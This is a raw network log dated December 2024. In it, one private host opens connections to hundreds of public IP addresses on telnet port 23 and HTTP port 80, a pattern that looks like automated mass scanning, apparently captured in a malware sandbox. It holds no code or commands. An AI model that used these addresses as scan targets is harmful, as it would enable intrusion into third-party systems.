Dec 3, 2024 22:02:05.183401108 CET	39808	23	192.168.2.14	205.176.103.197
Dec 3, 2024 22:02:05.183401108 CET	39808	23	192.168.2.14	202.96.88.189
Dec 3, 2024 22:02:05.183401108 CET	39808	23	192.168.2.14	36.56.230.12
Dec 3, 2024 22:02:05.183403015 CET	39808	23	192.168.2.14	86.252.47.79
Dec 3, 2024 22:02:05.183401108 CET	39808	23	192.168.2.14	19.67.242.242
Dec 3, 2024 22:02:05.183412075 CET	39808	23	192.168.2.14	191.249.153.5
Dec 3, 2024 22:02:05.183423996 CET	39808	23	192.168.2.14	57.165.140.207
Dec 3, 2024 22:02:05.183425903 CET	39808	23	192.168.2.14	76.6.211.217
Dec 3, 2024 22:02:05.183429956 CET	39808	23	192.168.2.14	153.84.21.174
Dec 3, 2024 22:02:05.183434963 CET	39808	23	192.168.2.14	69.81.6.235
Dec 3, 2024 22:02:05.183440924 CET	39808	23	192.168.2.14	116.124.164.233
Dec 3, 2024 22:02:05.183446884 CET	39808	23	192.168.2.14	166.48.115.224
Dec 3, 2024 22:02:05.183449030 CET	39808	23	192.168.2.14	218.12.210.66
Dec 3, 2024 22:02:05.183460951 CET	39808	23	192.168.2.14	23.225.82.155
Dec 3, 2024 22:02:05.183473110 CET	39808	23	192.168.2.14	81.245.50.2
Dec 3, 2024 22:02:05.183473110 CET	39808	23	192.168.2.14	63.185.6.22
Dec 3, 2024 22:02:05.183474064 CET	39808	23	192.168.2.14	185.157.44.157
Dec 3, 2024 22:02:05.183506012 CET	39808	23	192.168.2.14	131.121.117.167
Dec 3, 2024 22:02:05.183507919 CET	39808	23	192.168.2.14	91.43.95.43
Dec 3, 2024 22:02:05.183507919 CET	39808	23	192.168.2.14	212.110.9.71
Dec 3, 2024 22:02:05.183509111 CET	39808	23	192.168.2.14	72.249.104.175
Dec 3, 2024 22:02:05.183509111 CET	39808	23	192.168.2.14	132.252.239.118
Dec 3, 2024 22:02:05.183509111 CET	39808	23	192.168.2.14	83.19.191.93
Dec 3, 2024 22:02:05.183512926 CET	39808	23	192.168.2.14	159.78.181.151
Dec 3, 2024 22:02:05.183512926 CET	39808	23	192.168.2.14	58.7.185.42
Dec 3, 2024 22:02:05.183526993 CET	39808	23	192.168.2.14	72.255.38.225
Dec 3, 2024 22:02:05.183526993 CET	39808	23	192.168.2.14	108.161.213.254
Dec 3, 2024 22:02:05.183526993 CET	39808	23	192.168.2.14	120.244.221.206
Dec 3, 2024 22:02:05.183527946 CET	39808	23	192.168.2.14	158.13.175.155
Dec 3, 2024 22:02:05.183528900 CET	39808	23	192.168.2.14	103.147.167.102
Dec 3, 2024 22:02:05.183528900 CET	39808	23	192.168.2.14	60.188.110.217
Dec 3, 2024 22:02:05.183532000 CET	39808	23	192.168.2.14	159.80.16.156
Dec 3, 2024 22:02:05.183532953 CET	39808	23	192.168.2.14	74.102.203.57
Dec 3, 2024 22:02:05.183532953 CET	39808	23	192.168.2.14	80.255.77.169
Dec 3, 2024 22:02:05.183535099 CET	39808	23	192.168.2.14	208.91.238.193
Dec 3, 2024 22:02:05.183535099 CET	39808	23	192.168.2.14	183.126.127.24
Dec 3, 2024 22:02:05.183541059 CET	39808	23	192.168.2.14	173.19.213.109
Dec 3, 2024 22:02:05.183541059 CET	39808	23	192.168.2.14	208.153.109.196
Dec 3, 2024 22:02:05.183548927 CET	39808	23	192.168.2.14	121.221.220.6
Dec 3, 2024 22:02:05.183552980 CET	39808	23	192.168.2.14	99.7.224.213
Dec 3, 2024 22:02:05.183552980 CET	39808	23	192.168.2.14	223.88.203.94
Dec 3, 2024 22:02:05.183552980 CET	39808	23	192.168.2.14	106.214.69.166
Dec 3, 2024 22:02:05.183554888 CET	39808	23	192.168.2.14	57.243.184.45
Dec 3, 2024 22:02:05.183554888 CET	39808	23	192.168.2.14	144.105.145.123
Dec 3, 2024 22:02:05.183554888 CET	39808	23	192.168.2.14	162.208.95.93
Dec 3, 2024 22:02:05.183556080 CET	39808	23	192.168.2.14	130.157.27.66
Dec 3, 2024 22:02:05.183556080 CET	39808	23	192.168.2.14	162.36.47.35
Dec 3, 2024 22:02:05.183556080 CET	39808	23	192.168.2.14	195.57.201.252
Dec 3, 2024 22:02:05.183557034 CET	39808	23	192.168.2.14	71.1.179.143
Dec 3, 2024 22:02:05.183557034 CET	39808	23	192.168.2.14	187.150.122.244
Dec 3, 2024 22:02:05.183557034 CET	39808	23	192.168.2.14	124.49.71.232
Dec 3, 2024 22:02:05.183574915 CET	39808	23	192.168.2.14	106.140.253.113
Dec 3, 2024 22:02:05.183574915 CET	39808	23	192.168.2.14	72.32.117.3
Dec 3, 2024 22:02:05.183576107 CET	39808	23	192.168.2.14	53.29.90.51
Dec 3, 2024 22:02:05.183576107 CET	39808	23	192.168.2.14	108.25.232.154
Dec 3, 2024 22:02:05.183576107 CET	39808	23	192.168.2.14	130.231.208.72
Dec 3, 2024 22:02:05.183578014 CET	39808	23	192.168.2.14	46.72.168.181
Dec 3, 2024 22:02:05.183578014 CET	39808	23	192.168.2.14	218.5.163.212
Dec 3, 2024 22:02:05.183578014 CET	39808	23	192.168.2.14	5.255.23.108
Dec 3, 2024 22:02:05.183578968 CET	39808	23	192.168.2.14	87.117.189.159
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	106.108.37.73
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	107.9.143.171
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	204.248.163.7
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	106.173.54.72
Dec 3, 2024 22:02:05.183583021 CET	39808	23	192.168.2.14	97.126.168.137
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	13.230.20.153
Dec 3, 2024 22:02:05.183583021 CET	39808	23	192.168.2.14	158.120.105.179
Dec 3, 2024 22:02:05.183579922 CET	39808	23	192.168.2.14	96.108.9.15
Dec 3, 2024 22:02:05.183583021 CET	39808	23	192.168.2.14	100.17.134.137
Dec 3, 2024 22:02:05.183593988 CET	39808	23	192.168.2.14	136.243.149.244
Dec 3, 2024 22:02:05.183593988 CET	39808	23	192.168.2.14	57.42.156.23
Dec 3, 2024 22:02:05.183593988 CET	39808	23	192.168.2.14	181.3.255.231
Dec 3, 2024 22:02:05.183593988 CET	39808	23	192.168.2.14	105.171.157.33
Dec 3, 2024 22:02:05.183594942 CET	39808	23	192.168.2.14	41.3.118.179
Dec 3, 2024 22:02:05.183594942 CET	39808	23	192.168.2.14	84.35.83.149
Dec 3, 2024 22:02:05.183594942 CET	39808	23	192.168.2.14	100.60.164.24
Dec 3, 2024 22:02:05.183598042 CET	39808	23	192.168.2.14	213.174.22.251
Dec 3, 2024 22:02:05.183598042 CET	39808	23	192.168.2.14	206.72.90.91
Dec 3, 2024 22:02:05.183599949 CET	39808	23	192.168.2.14	89.4.129.25
Dec 3, 2024 22:02:05.183599949 CET	39808	23	192.168.2.14	82.72.82.91
Dec 3, 2024 22:02:05.183609009 CET	39808	23	192.168.2.14	164.55.180.6
Dec 3, 2024 22:02:05.183610916 CET	39808	23	192.168.2.14	151.56.169.139
Dec 3, 2024 22:02:05.183612108 CET	39808	23	192.168.2.14	151.210.7.255
Dec 3, 2024 22:02:05.183613062 CET	39808	23	192.168.2.14	179.21.184.225
Dec 3, 2024 22:02:05.183613062 CET	39808	23	192.168.2.14	191.195.57.146
Dec 3, 2024 22:02:05.183617115 CET	39808	23	192.168.2.14	82.36.45.21
Dec 3, 2024 22:02:05.183617115 CET	39808	23	192.168.2.14	213.250.243.162
Dec 3, 2024 22:02:05.183618069 CET	39808	23	192.168.2.14	69.24.22.247
Dec 3, 2024 22:02:05.183633089 CET	39808	23	192.168.2.14	75.5.12.232
Dec 3, 2024 22:02:05.183633089 CET	39808	23	192.168.2.14	195.44.3.44
Dec 3, 2024 22:02:05.183634996 CET	39808	23	192.168.2.14	210.233.145.71
Dec 3, 2024 22:02:05.183634996 CET	39808	23	192.168.2.14	4.184.34.67
Dec 3, 2024 22:02:05.183635950 CET	39808	23	192.168.2.14	147.216.135.205
Dec 3, 2024 22:02:05.183636904 CET	39808	23	192.168.2.14	139.75.171.168
Dec 3, 2024 22:02:05.183635950 CET	39808	23	192.168.2.14	63.47.128.26
Dec 3, 2024 22:02:05.183636904 CET	39808	23	192.168.2.14	27.211.127.144
Dec 3, 2024 22:02:05.183636904 CET	39808	23	192.168.2.14	189.63.154.132
Dec 3, 2024 22:02:05.183639050 CET	39808	23	192.168.2.14	114.234.122.223
Dec 3, 2024 22:02:05.183639050 CET	39808	23	192.168.2.14	118.128.33.203
Dec 3, 2024 22:02:05.183639050 CET	39808	23	192.168.2.14	137.31.255.104
Dec 3, 2024 22:02:05.183639050 CET	39808	23	192.168.2.14	203.156.174.77
Dec 3, 2024 22:02:05.183651924 CET	39808	23	192.168.2.14	44.168.56.37
Dec 3, 2024 22:02:05.183651924 CET	39808	23	192.168.2.14	137.129.111.69
Dec 3, 2024 22:02:05.183651924 CET	39808	23	192.168.2.14	132.226.223.238
Dec 3, 2024 22:02:05.183654070 CET	39808	23	192.168.2.14	27.49.89.177
Dec 3, 2024 22:02:05.183655977 CET	39808	23	192.168.2.14	77.60.8.48
Dec 3, 2024 22:02:05.183655977 CET	39808	23	192.168.2.14	49.6.160.77
Dec 3, 2024 22:02:05.183655977 CET	39808	23	192.168.2.14	128.175.54.250
Dec 3, 2024 22:02:05.183657885 CET	39808	23	192.168.2.14	139.246.211.195
Dec 3, 2024 22:02:05.183657885 CET	39808	23	192.168.2.14	166.114.19.94
Dec 3, 2024 22:02:05.183657885 CET	39808	23	192.168.2.14	105.86.173.122
Dec 3, 2024 22:02:05.183665037 CET	39808	23	192.168.2.14	104.58.195.39
Dec 3, 2024 22:02:05.183667898 CET	39808	23	192.168.2.14	1.202.247.179
Dec 3, 2024 22:02:05.183670044 CET	39808	23	192.168.2.14	134.6.35.35
Dec 3, 2024 22:02:05.183670044 CET	39808	23	192.168.2.14	125.94.185.230
Dec 3, 2024 22:02:05.183672905 CET	39808	23	192.168.2.14	166.87.55.178
Dec 3, 2024 22:02:05.183674097 CET	39808	23	192.168.2.14	63.186.201.123
Dec 3, 2024 22:02:05.183674097 CET	39808	23	192.168.2.14	147.12.185.100
Dec 3, 2024 22:02:05.183674097 CET	39808	23	192.168.2.14	101.107.78.62
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	71.49.25.226
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	135.174.172.8
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	76.186.145.237
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	124.185.42.137
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	118.206.50.206
Dec 3, 2024 22:02:05.183681965 CET	39808	23	192.168.2.14	193.189.65.180
Dec 3, 2024 22:02:05.183684111 CET	39808	23	192.168.2.14	124.76.131.62
Dec 3, 2024 22:02:05.183685064 CET	39808	23	192.168.2.14	192.33.37.97
Dec 3, 2024 22:02:05.183684111 CET	39808	23	192.168.2.14	72.193.149.226
Dec 3, 2024 22:02:05.183686018 CET	39808	23	192.168.2.14	132.121.29.142
Dec 3, 2024 22:02:05.183693886 CET	39808	23	192.168.2.14	64.59.3.25
Dec 3, 2024 22:02:05.183700085 CET	39808	23	192.168.2.14	141.190.143.11
Dec 3, 2024 22:02:05.183700085 CET	39808	23	192.168.2.14	83.93.231.28
Dec 3, 2024 22:02:05.183700085 CET	39808	23	192.168.2.14	188.247.253.35
Dec 3, 2024 22:02:05.183700085 CET	39808	23	192.168.2.14	103.219.182.145
Dec 3, 2024 22:02:05.183700085 CET	39808	23	192.168.2.14	118.241.38.2
Dec 3, 2024 22:02:05.183701038 CET	39808	23	192.168.2.14	80.80.99.178
Dec 3, 2024 22:02:05.183701038 CET	39808	23	192.168.2.14	114.129.214.7
Dec 3, 2024 22:02:05.183705091 CET	39808	23	192.168.2.14	212.235.229.187
Dec 3, 2024 22:02:05.183705091 CET	39808	23	192.168.2.14	109.53.94.168
Dec 3, 2024 22:02:05.183705091 CET	39808	23	192.168.2.14	105.140.131.77
Dec 3, 2024 22:02:05.183705091 CET	39808	23	192.168.2.14	116.122.210.212
Dec 3, 2024 22:02:05.183706045 CET	39808	23	192.168.2.14	24.11.124.18
Dec 3, 2024 22:02:05.183707952 CET	39808	23	192.168.2.14	143.23.126.206
Dec 3, 2024 22:02:05.183707952 CET	39808	23	192.168.2.14	52.155.176.99
Dec 3, 2024 22:02:05.183707952 CET	39808	23	192.168.2.14	188.251.64.206
Dec 3, 2024 22:02:05.183713913 CET	39808	23	192.168.2.14	102.104.92.207
Dec 3, 2024 22:02:05.183718920 CET	39808	23	192.168.2.14	155.191.103.14
Dec 3, 2024 22:02:05.183720112 CET	39808	23	192.168.2.14	186.185.125.46
Dec 3, 2024 22:02:05.183720112 CET	39808	23	192.168.2.14	67.177.212.13
Dec 3, 2024 22:02:05.183721066 CET	39808	23	192.168.2.14	88.112.216.97
Dec 3, 2024 22:02:05.183728933 CET	39808	23	192.168.2.14	5.227.122.187
Dec 3, 2024 22:02:05.183736086 CET	39808	23	192.168.2.14	70.102.56.80
Dec 3, 2024 22:02:05.183738947 CET	39808	23	192.168.2.14	36.164.15.142
Dec 3, 2024 22:02:05.183738947 CET	39808	23	192.168.2.14	125.255.59.185
Dec 3, 2024 22:02:05.183739901 CET	39808	23	192.168.2.14	35.158.192.255
Dec 3, 2024 22:02:05.183739901 CET	39808	23	192.168.2.14	63.119.119.224
Dec 3, 2024 22:02:05.183742046 CET	39808	23	192.168.2.14	135.92.0.73
Dec 3, 2024 22:02:05.183742046 CET	39808	23	192.168.2.14	191.239.148.32
Dec 3, 2024 22:02:05.183744907 CET	39808	23	192.168.2.14	186.36.186.246
Dec 3, 2024 22:02:05.183742046 CET	39808	23	192.168.2.14	76.31.35.129
Dec 3, 2024 22:02:05.183746099 CET	39808	23	192.168.2.14	179.225.40.209
Dec 3, 2024 22:02:05.183746099 CET	39808	23	192.168.2.14	32.143.18.68
Dec 3, 2024 22:02:05.183753014 CET	39808	23	192.168.2.14	20.58.202.67
Dec 3, 2024 22:02:05.183754921 CET	39808	23	192.168.2.14	116.171.103.217
Dec 3, 2024 22:02:05.183764935 CET	39808	23	192.168.2.14	75.202.161.187
Dec 3, 2024 22:02:05.183765888 CET	39808	23	192.168.2.14	37.176.30.56
Dec 3, 2024 22:02:05.183767080 CET	39808	23	192.168.2.14	47.11.129.121
Dec 3, 2024 22:02:05.183767080 CET	39808	23	192.168.2.14	156.39.97.190
Dec 3, 2024 22:02:05.183767080 CET	39808	23	192.168.2.14	89.204.145.118
Dec 3, 2024 22:02:05.183769941 CET	39808	23	192.168.2.14	126.235.152.33
Dec 3, 2024 22:02:05.183769941 CET	39808	23	192.168.2.14	89.121.129.4
Dec 3, 2024 22:02:05.183769941 CET	39808	23	192.168.2.14	150.97.25.251
Dec 3, 2024 22:02:05.183774948 CET	39808	23	192.168.2.14	44.58.177.101
Dec 3, 2024 22:02:05.183784008 CET	39808	23	192.168.2.14	107.38.184.181
Dec 3, 2024 22:02:05.183790922 CET	39808	23	192.168.2.14	139.29.65.171
Dec 3, 2024 22:02:05.183790922 CET	39808	23	192.168.2.14	125.113.45.56
Dec 3, 2024 22:02:05.183794022 CET	39808	23	192.168.2.14	101.163.5.208
Dec 3, 2024 22:02:05.183795929 CET	39808	23	192.168.2.14	143.211.200.217
Dec 3, 2024 22:02:05.183806896 CET	39808	23	192.168.2.14	112.187.207.13
Dec 3, 2024 22:02:05.183818102 CET	39808	23	192.168.2.14	44.59.190.134
Dec 3, 2024 22:02:05.183823109 CET	39808	23	192.168.2.14	204.248.1.13
Dec 3, 2024 22:02:05.183825016 CET	39808	23	192.168.2.14	128.209.84.110
Dec 3, 2024 22:02:05.183826923 CET	39808	23	192.168.2.14	35.195.251.188
Dec 3, 2024 22:02:05.183830023 CET	39808	23	192.168.2.14	76.157.204.140
Dec 3, 2024 22:02:05.183836937 CET	39808	23	192.168.2.14	122.82.16.124
Dec 3, 2024 22:02:05.183840990 CET	39808	23	192.168.2.14	34.154.150.108
Dec 3, 2024 22:02:05.183845997 CET	39808	23	192.168.2.14	9.119.96.203
Dec 3, 2024 22:02:05.183854103 CET	39808	23	192.168.2.14	207.56.225.229
Dec 3, 2024 22:02:05.183856010 CET	39808	23	192.168.2.14	171.9.8.36
Dec 3, 2024 22:02:05.183864117 CET	39808	23	192.168.2.14	132.116.193.17
Dec 3, 2024 22:02:05.183866024 CET	39808	23	192.168.2.14	129.131.37.61
Dec 3, 2024 22:02:05.186341047 CET	80	47960	71.56.234.92	192.168.2.14
Dec 3, 2024 22:02:05.186353922 CET	80	50438	79.170.133.116	192.168.2.14
Dec 3, 2024 22:02:05.186362982 CET	80	37514	198.212.68.69	192.168.2.14
Dec 3, 2024 22:02:05.186398983 CET	80	54168	120.243.91.245	192.168.2.14
Dec 3, 2024 22:02:05.186408997 CET	80	46508	57.191.144.175	192.168.2.14
Dec 3, 2024 22:02:05.186409950 CET	50438	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:05.186409950 CET	47960	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:05.186419964 CET	80	46456	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:05.186420918 CET	37514	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:05.186434031 CET	54168	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:05.186439037 CET	80	56516	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:05.186448097 CET	46508	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:05.186448097 CET	46456	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:05.186450005 CET	80	37528	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:05.186460972 CET	80	43712	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:05.186470032 CET	56516	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:05.186480045 CET	37528	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:05.186490059 CET	80	46614	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:05.186490059 CET	43712	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:05.186507940 CET	80	45746	66.135.164.211	192.168.2.14
Dec 3, 2024 22:02:05.186518908 CET	80	34708	83.66.176.9	192.168.2.14
Dec 3, 2024 22:02:05.186525106 CET	46614	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:05.186527967 CET	80	51406	44.122.74.244	192.168.2.14
Dec 3, 2024 22:02:05.186537027 CET	45746	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:05.186537981 CET	80	59690	69.234.220.201	192.168.2.14
Dec 3, 2024 22:02:05.186548948 CET	80	39376	150.169.126.146	192.168.2.14
Dec 3, 2024 22:02:05.186557055 CET	51406	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:05.186558962 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:05.186570883 CET	59690	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:05.186570883 CET	80	33810	223.131.159.194	192.168.2.14
Dec 3, 2024 22:02:05.186573982 CET	39296	80	192.168.2.14	202.78.117.167
Dec 3, 2024 22:02:05.186582088 CET	39376	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:05.186583042 CET	80	58040	2.66.91.134	192.168.2.14
Dec 3, 2024 22:02:05.186583996 CET	39296	80	192.168.2.14	212.180.156.152
Dec 3, 2024 22:02:05.186593056 CET	80	58604	199.144.196.39	192.168.2.14
Dec 3, 2024 22:02:05.186600924 CET	39296	80	192.168.2.14	9.151.17.184
Dec 3, 2024 22:02:05.186603069 CET	80	55334	41.3.202.197	192.168.2.14
Dec 3, 2024 22:02:05.186604977 CET	33810	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:05.186603069 CET	39296	80	192.168.2.14	112.76.116.8
Dec 3, 2024 22:02:05.186610937 CET	39296	80	192.168.2.14	130.163.92.117
Dec 3, 2024 22:02:05.186610937 CET	39296	80	192.168.2.14	17.88.9.76
Dec 3, 2024 22:02:05.186611891 CET	58040	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:05.186616898 CET	80	60328	120.27.40.11	192.168.2.14
Dec 3, 2024 22:02:05.186619997 CET	39296	80	192.168.2.14	221.104.193.147
Dec 3, 2024 22:02:05.186625957 CET	58604	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:05.186631918 CET	80	41500	133.133.165.240	192.168.2.14
Dec 3, 2024 22:02:05.186645031 CET	80	33454	149.204.115.19	192.168.2.14
Dec 3, 2024 22:02:05.186649084 CET	39296	80	192.168.2.14	177.65.94.192
Dec 3, 2024 22:02:05.186650038 CET	60328	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:05.186650038 CET	55334	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:05.186652899 CET	39296	80	192.168.2.14	171.87.163.190
Dec 3, 2024 22:02:05.186652899 CET	39296	80	192.168.2.14	78.161.122.68
Dec 3, 2024 22:02:05.186655998 CET	80	54492	160.21.32.85	192.168.2.14
Dec 3, 2024 22:02:05.186662912 CET	39296	80	192.168.2.14	14.172.49.60
Dec 3, 2024 22:02:05.186664104 CET	41500	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.186666965 CET	80	51388	157.42.76.182	192.168.2.14
Dec 3, 2024 22:02:05.186676025 CET	80	38984	167.218.38.29	192.168.2.14
Dec 3, 2024 22:02:05.186676979 CET	33454	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:05.186681986 CET	39296	80	192.168.2.14	110.79.152.139
Dec 3, 2024 22:02:05.186686039 CET	80	43084	203.231.182.115	192.168.2.14
Dec 3, 2024 22:02:05.186696053 CET	51388	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:05.186697006 CET	54492	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:05.186701059 CET	80	40904	48.32.166.226	192.168.2.14
Dec 3, 2024 22:02:05.186711073 CET	80	58720	207.50.163.240	192.168.2.14
Dec 3, 2024 22:02:05.186717033 CET	43084	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:05.186717033 CET	38984	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:05.186717033 CET	39296	80	192.168.2.14	20.196.28.184
Dec 3, 2024 22:02:05.186719894 CET	80	46742	212.188.14.62	192.168.2.14
Dec 3, 2024 22:02:05.186727047 CET	39296	80	192.168.2.14	94.11.119.36
Dec 3, 2024 22:02:05.186727047 CET	39296	80	192.168.2.14	200.69.178.13
Dec 3, 2024 22:02:05.186728001 CET	40904	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:05.186728954 CET	39296	80	192.168.2.14	109.14.20.18
Dec 3, 2024 22:02:05.186731100 CET	80	50338	167.62.82.131	192.168.2.14
Dec 3, 2024 22:02:05.186739922 CET	39296	80	192.168.2.14	180.102.147.0
Dec 3, 2024 22:02:05.186741114 CET	80	33014	195.185.183.91	192.168.2.14
Dec 3, 2024 22:02:05.186742067 CET	58720	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:05.186742067 CET	39296	80	192.168.2.14	37.53.50.76
Dec 3, 2024 22:02:05.186759949 CET	46742	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:05.186762094 CET	50338	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:05.186762094 CET	39296	80	192.168.2.14	117.22.227.207
Dec 3, 2024 22:02:05.186767101 CET	39296	80	192.168.2.14	80.55.71.114
Dec 3, 2024 22:02:05.186767101 CET	33014	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:05.186769009 CET	39296	80	192.168.2.14	167.53.210.77
Dec 3, 2024 22:02:05.186788082 CET	39296	80	192.168.2.14	188.231.202.129
Dec 3, 2024 22:02:05.186790943 CET	39296	80	192.168.2.14	9.114.159.70
Dec 3, 2024 22:02:05.186799049 CET	39296	80	192.168.2.14	177.237.205.38
Dec 3, 2024 22:02:05.186809063 CET	39296	80	192.168.2.14	115.197.133.132
Dec 3, 2024 22:02:05.186813116 CET	39296	80	192.168.2.14	73.245.6.113
Dec 3, 2024 22:02:05.186815023 CET	39296	80	192.168.2.14	72.41.224.7
Dec 3, 2024 22:02:05.186821938 CET	39296	80	192.168.2.14	5.126.158.120
Dec 3, 2024 22:02:05.186825037 CET	39296	80	192.168.2.14	49.101.25.251
Dec 3, 2024 22:02:05.186826944 CET	39296	80	192.168.2.14	131.162.210.118
Dec 3, 2024 22:02:05.186826944 CET	39296	80	192.168.2.14	12.226.137.14
Dec 3, 2024 22:02:05.186847925 CET	39296	80	192.168.2.14	201.104.71.24
Dec 3, 2024 22:02:05.186847925 CET	39296	80	192.168.2.14	66.130.98.194
Dec 3, 2024 22:02:05.186849117 CET	39296	80	192.168.2.14	141.28.86.67
Dec 3, 2024 22:02:05.186851978 CET	39296	80	192.168.2.14	176.103.152.240
Dec 3, 2024 22:02:05.186851978 CET	39296	80	192.168.2.14	207.189.109.206
Dec 3, 2024 22:02:05.186851978 CET	39296	80	192.168.2.14	123.61.113.13
Dec 3, 2024 22:02:05.186857939 CET	39296	80	192.168.2.14	203.255.102.83
Dec 3, 2024 22:02:05.186865091 CET	39296	80	192.168.2.14	32.38.80.149
Dec 3, 2024 22:02:05.186866045 CET	39296	80	192.168.2.14	201.58.147.16
Dec 3, 2024 22:02:05.186866999 CET	39296	80	192.168.2.14	147.232.249.37
Dec 3, 2024 22:02:05.186866999 CET	39296	80	192.168.2.14	169.210.79.54
Dec 3, 2024 22:02:05.186867952 CET	39296	80	192.168.2.14	124.71.92.98
Dec 3, 2024 22:02:05.186887026 CET	39296	80	192.168.2.14	139.149.218.242
Dec 3, 2024 22:02:05.186887980 CET	39296	80	192.168.2.14	89.229.122.138
Dec 3, 2024 22:02:05.186888933 CET	39296	80	192.168.2.14	134.176.232.152
Dec 3, 2024 22:02:05.186896086 CET	39296	80	192.168.2.14	170.138.121.179
Dec 3, 2024 22:02:05.186897039 CET	39296	80	192.168.2.14	79.80.204.47
Dec 3, 2024 22:02:05.186897993 CET	39296	80	192.168.2.14	183.165.77.187
Dec 3, 2024 22:02:05.186913967 CET	39296	80	192.168.2.14	154.228.29.91
Dec 3, 2024 22:02:05.186917067 CET	80	60226	89.98.95.53	192.168.2.14
Dec 3, 2024 22:02:05.186918974 CET	39296	80	192.168.2.14	144.5.5.235
Dec 3, 2024 22:02:05.186924934 CET	39296	80	192.168.2.14	65.137.190.230
Dec 3, 2024 22:02:05.186937094 CET	39296	80	192.168.2.14	51.224.163.66
Dec 3, 2024 22:02:05.186938047 CET	39296	80	192.168.2.14	69.133.171.179
Dec 3, 2024 22:02:05.186938047 CET	39296	80	192.168.2.14	146.250.105.58
Dec 3, 2024 22:02:05.186948061 CET	60226	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:05.186961889 CET	80	55850	223.56.226.226	192.168.2.14
Dec 3, 2024 22:02:05.186964989 CET	39296	80	192.168.2.14	17.19.81.71
Dec 3, 2024 22:02:05.186964989 CET	39296	80	192.168.2.14	221.112.154.156
Dec 3, 2024 22:02:05.186975956 CET	39296	80	192.168.2.14	203.77.126.78
Dec 3, 2024 22:02:05.186975956 CET	39296	80	192.168.2.14	187.37.222.67
Dec 3, 2024 22:02:05.186976910 CET	80	34730	129.125.175.170	192.168.2.14
Dec 3, 2024 22:02:05.186978102 CET	39296	80	192.168.2.14	44.146.147.192
Dec 3, 2024 22:02:05.186985970 CET	39296	80	192.168.2.14	149.183.243.144
Dec 3, 2024 22:02:05.186986923 CET	80	60190	62.250.5.2	192.168.2.14
Dec 3, 2024 22:02:05.187001944 CET	80	39618	84.18.193.185	192.168.2.14
Dec 3, 2024 22:02:05.187004089 CET	39296	80	192.168.2.14	104.62.47.72
Dec 3, 2024 22:02:05.187006950 CET	39296	80	192.168.2.14	59.9.32.204
Dec 3, 2024 22:02:05.187011003 CET	80	52066	218.163.6.206	192.168.2.14
Dec 3, 2024 22:02:05.187016964 CET	34730	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:05.187019110 CET	39296	80	192.168.2.14	165.195.219.194
Dec 3, 2024 22:02:05.187019110 CET	39296	80	192.168.2.14	220.16.205.17
Dec 3, 2024 22:02:05.187025070 CET	55850	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:05.187025070 CET	60190	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:05.187027931 CET	39296	80	192.168.2.14	90.27.220.145
Dec 3, 2024 22:02:05.187030077 CET	39296	80	192.168.2.14	114.157.73.35
Dec 3, 2024 22:02:05.187030077 CET	39296	80	192.168.2.14	4.181.14.14
Dec 3, 2024 22:02:05.187031031 CET	39618	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:05.187046051 CET	39296	80	192.168.2.14	54.211.254.195
Dec 3, 2024 22:02:05.187051058 CET	52066	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:05.187056065 CET	39296	80	192.168.2.14	150.253.77.14
Dec 3, 2024 22:02:05.187056065 CET	39296	80	192.168.2.14	52.92.10.88
Dec 3, 2024 22:02:05.187062025 CET	39296	80	192.168.2.14	94.24.136.153
Dec 3, 2024 22:02:05.187067032 CET	39296	80	192.168.2.14	155.200.44.45
Dec 3, 2024 22:02:05.187072039 CET	39296	80	192.168.2.14	203.144.43.193
Dec 3, 2024 22:02:05.187072039 CET	39296	80	192.168.2.14	135.185.198.152
